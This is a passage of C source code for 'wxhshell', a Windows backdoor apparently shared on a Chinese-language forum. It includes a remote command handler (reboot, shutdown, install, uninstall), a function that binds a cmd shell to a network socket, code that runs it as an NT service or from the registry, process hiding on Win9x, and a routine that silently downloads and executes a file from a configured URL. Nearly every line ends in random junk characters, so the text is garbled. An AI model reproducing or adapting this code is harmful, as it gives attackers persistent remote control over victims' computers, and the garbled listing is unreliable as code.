      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?U.&7yY  
    break; :O @,Z_"  
  } X:} 5L> '  
  // 安装 SJ|.% gn  
  case 'i': { 5IF~]5s  
    if(Install()) BX)cV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W~@GK  
    else  M$-(4 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yKk,);  
    break; G4`sRaT.  
    } p=P0$P+KM  
  // 卸载 iRr& 'k  
  case 'r': { M6>\R$  
    if(Uninstall()) /-<m(72wF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HDXjH|of  
    else gV.Pg[[1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ QL<&:s&  
    break; [8J}da}  
    } ~Sem_U`G  
  // 显示 wxhshell 所在路径 '' A[`,3  
  case 'p': { MAhPO!e5.  
    char svExeFile[MAX_PATH]; $R#L@iL-  
    strcpy(svExeFile,"\n\r"); 8@C|exAD`  
      strcat(svExeFile,ExeFile); gt~2Br4  
        send(wsh,svExeFile,strlen(svExeFile),0); `LHfAXKN  
    break; gS o(PW)  
    } I`}vdX)  
  // 重启 bJMcI8`  
  case 'b': { z(#hL-{c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  #,9TJ:~N  
    if(Boot(REBOOT)) 7J_f/st  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YNQ6(HA  
    else { vYm& AD  
    closesocket(wsh); {,mRMDEy  
    ExitThread(0); v}*u[GWl]  
    } N)I T?  
    break; PHL@1K{)  
    } xTawG?"D  
  // 关机 >yHnz?bf@  
  case 'd': { !?-5 hh1\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +Q#Qu0_   
    if(Boot(SHUTDOWN)) _w,0wn9N$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ak-7}i  
    else { > mDubP  
    closesocket(wsh); '!L1z45  
    ExitThread(0); ob5nk ^y  
    } I!0 +RP(  
    break; GpQF * x  
    } :H8L(BsI  
  // 获取shell 1kw4'#J8  
  case 's': { 7wEG<,D  
    CmdShell(wsh); D\&y(=fzf  
    closesocket(wsh); *t*&Q /W  
    ExitThread(0); zMqEMx9  
    break; DczF0Ow  
  } tNf" X !  
  // 退出 A =#-u&l  
  case 'x': { ?{P6AF-xcf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); scEQDV  
    CloseIt(wsh); r{jD,x2  
    break; !l~aRj-WZ  
    } /{)cI^9  
  // 离开 Gv3Fg[MA@c  
  case 'q': { /g7?,/vnZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6zZR:ej  
    closesocket(wsh); ]TprPU39  
    WSACleanup(); P&`r87J  
    exit(1); l%5%oN`4  
    break; [MP :Eeg  
        } U jzz`!mz  
  } ]BBgU[O) !  
  } /%w[q:..h  
+( (31l  
  // 提示信息 Yf`.Cq_:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VIdoT2  
} mnaD KeA  
  } O}!@28|3"  
O9&:(2'f  
  return; Z_WTMs:x!  
} wz)9/bL  
y%l#lz=6  
// shell模块句柄 ?bDae%>.d,  
int CmdShell(SOCKET sock) (uc)^lfX  
{ jz:c)C&/  
STARTUPINFO si; ,T[ +omo  
ZeroMemory(&si,sizeof(si)); { 4{{;   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RYaof W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]7 mSM  
PROCESS_INFORMATION ProcessInfo; ~,-O  
char cmdline[]="cmd"; ^#nWgo7{7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )#Bfd(F  
  return 0; }@6 %yR  
} LbknSy C  
2/N*Uk 0  
// 自身启动模式 F;@&uXYgc  
int StartFromService(void) lc#zS_  
{  P;/wb /  
typedef struct %-|q3 ^s  
{ DN0b.*[`3  
  DWORD ExitStatus; Sylsp%A  
  DWORD PebBaseAddress; 6+#cyKj  
  DWORD AffinityMask; ' uw&f;/E  
  DWORD BasePriority; ;CBdp-BUj  
  ULONG UniqueProcessId; `I{Q,HQ7  
  ULONG InheritedFromUniqueProcessId;  kovzB]  
}   PROCESS_BASIC_INFORMATION;  Bz~h-  
s\R?@  
PROCNTQSIP NtQueryInformationProcess; t+q`h3  
E1g$WhXIS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1\{F.v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S6X<3L`FfH  
Rx-i.EtZ  
  HANDLE             hProcess; zD-8#H35X"  
  PROCESS_BASIC_INFORMATION pbi; PaJwM%s)L  
$O!<Zz   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qEz'l'%(  
  if(NULL == hInst ) return 0; VbR.tz  
0+i,,^x.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +[`%b3Nk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5~0;R`D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LdUpVO8)l  
C;>Ll~f_  
  if (!NtQueryInformationProcess) return 0; <Rt@z|Zv  
B(dL`]@Xm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nJg2O@mRJ  
  if(!hProcess) return 0; rM |RGe  
m/Z_HER^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hh}EDnx  
NZP,hAUK,  
  CloseHandle(hProcess); <2d@\"AoHE  
Ij_`=w<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3zHiu*2/!  
if(hProcess==NULL) return 0; fTgN2U  
MEUqQ4/Gl  
HMODULE hMod; CU_06A|}  
char procName[255]; mX_`rvYII  
unsigned long cbNeeded; jXZNr  
|pY0IqO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RoRVu,1  
iKY&gnu"  
  CloseHandle(hProcess); _AHVMsz@  
X_l,fu^C#$  
if(strstr(procName,"services")) return 1; // 以服务启动 )v0vdAh'b  
(5_(s`q.  
  return 0; // 注册表启动 hBu =40K  
} ;0gpS y$#  
mo$*KNW%\  
// 主模块 k>`X! "  
int StartWxhshell(LPSTR lpCmdLine) I),8EEf\  
{ 4[q * 7m  
  SOCKET wsl; JK`P mp>  
BOOL val=TRUE; 5yID%  
  int port=0; {{,%p#/b  
  struct sockaddr_in door; 'h6RZKG T  
_: K\v8  
  if(wscfg.ws_autoins) Install(); Efl+`6`J  
a06DeRCej  
port=atoi(lpCmdLine); _I!&w!3oM  
kpu^:N &  
if(port<=0) port=wscfg.ws_port; (C%'I  
i$bBN$<b<  
  WSADATA data; H_FhHX.2(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8 Hn{CJ~'  
Q<pM tW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k~ue^^r}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %?jf.p*kY  
  door.sin_family = AF_INET; kz^G.5n   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #v-!GK_<  
  door.sin_port = htons(port); ./'n2$^3  
!TF VBK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L')zuI  
closesocket(wsl); <9~qAq7^  
return 1; b&1@rE-  
} S)%x22sqf  
t/g}cR^Q  
  if(listen(wsl,2) == INVALID_SOCKET) { (1^(V)@  
closesocket(wsl); X'm2uOEj  
return 1; x?IT#ty  
} *&D=]fG  
  Wxhshell(wsl); -E7\ .K3  
  WSACleanup(); T2{+fR v N  
KX`,7-  
return 0; e j9G[  
|.A>0-']M  
} ?H&p zY~H  
#,56vVY  
// 以NT服务方式启动 $BY{:#a]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O}Jb,?p  
{ :y)'qv[  
DWORD   status = 0; FcA0 \`0M  
  DWORD   specificError = 0xfffffff; p* @L1  
]O."M"B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z0sB*5VH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FQyiIT6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %#,BvQz~  
  serviceStatus.dwWin32ExitCode     = 0; v|GvN|_|  
  serviceStatus.dwServiceSpecificExitCode = 0; K^bn4Nr  
  serviceStatus.dwCheckPoint       = 0; \w3wh*  
  serviceStatus.dwWaitHint       = 0;  y^Lw7  
5kF5`5+Vj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _*9Zp1r  
  if (hServiceStatusHandle==0) return; d:D2[  
1;W>ceN"  
status = GetLastError(); DKZ69^  
  if (status!=NO_ERROR) SxDE3A-:  
{ ;Yj}9[p;T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TI332,eL  
    serviceStatus.dwCheckPoint       = 0; _MU'he^W  
    serviceStatus.dwWaitHint       = 0; Mw~ ?@Sq  
    serviceStatus.dwWin32ExitCode     = status; AZa3!e/1  
    serviceStatus.dwServiceSpecificExitCode = specificError; kBzzi^cl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~&x%;cnv_  
    return; P(`IY +  
  } JI&>w-~D  
ezn>3?S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ut+mm\7  
  serviceStatus.dwCheckPoint       = 0; bA)Xjq)Rr  
  serviceStatus.dwWaitHint       = 0; $sJn: 8z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); { at; U@o  
} /y0 )r.R  
fp7Qb $-A  
// 处理NT服务事件,比如:启动、停止 [>-k(D5D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }=U\v'%m  
{ <da! #12L  
switch(fdwControl) =T$E lXwJ  
{ g@Zc'g/XB  
case SERVICE_CONTROL_STOP: vzw\f   
  serviceStatus.dwWin32ExitCode = 0; K  +~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;VuIQ*@m"  
  serviceStatus.dwCheckPoint   = 0; t]x HM  
  serviceStatus.dwWaitHint     = 0; EVf'1^f  
  { UZ1 lI>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z9U*SS5s,  
  } h@J`:KO  
  return; )d(cXN-T  
case SERVICE_CONTROL_PAUSE: J0#% *B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ur`v*LT}~  
  break; =9c24j  
case SERVICE_CONTROL_CONTINUE: (:\hor%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r (uM$R$o  
  break; Pc3u`QL?  
case SERVICE_CONTROL_INTERROGATE: 2C-u2;X2  
  break; bYtF#Y   
}; MiC&av  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L4NC -  
} a-3~HH  
g5 E]o)  
// 标准应用程序主函数 U|zW_dj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3t,SXI @  
{ ?d %_o@  
2d._X$fx7  
// 获取操作系统版本 [ACYd/  
OsIsNt=GetOsVer(); Cdv TC`~,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *f(}@U  
aQ)9<LsI  
  // 从命令行安装 `drvu?F  
  if(strpbrk(lpCmdLine,"iI")) Install(); vmoqsdZ/  
~_raI7,  
  // 下载执行文件 /eI38>v  
if(wscfg.ws_downexe) { eN$~@'w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WFkXz*7B  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pwq} ;+  
} OD i)#  
{M$1?j"7  
if(!OsIsNt) { pK3cg|}  
// 如果时win9x,隐藏进程并且设置为注册表启动 DGU$3w  
HideProc(); '~@WJKk  
StartWxhshell(lpCmdLine); yqK82z5U*R  
} p])km%zB(  
else <W?,n%  
  if(StartFromService()) ZGf=/Ra a  
  // 以服务方式启动 Bq!P.%6p4  
  StartServiceCtrlDispatcher(DispatchTable); S2*:]pYf}  
else jk|0<-3  
  // 普通方式启动 4uz\Me(  
  StartWxhshell(lpCmdLine); {5to;\.  
BAxZR  
return 0; >fjf] 6  
}
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只看该作者 1 发表于: 2006-10-10
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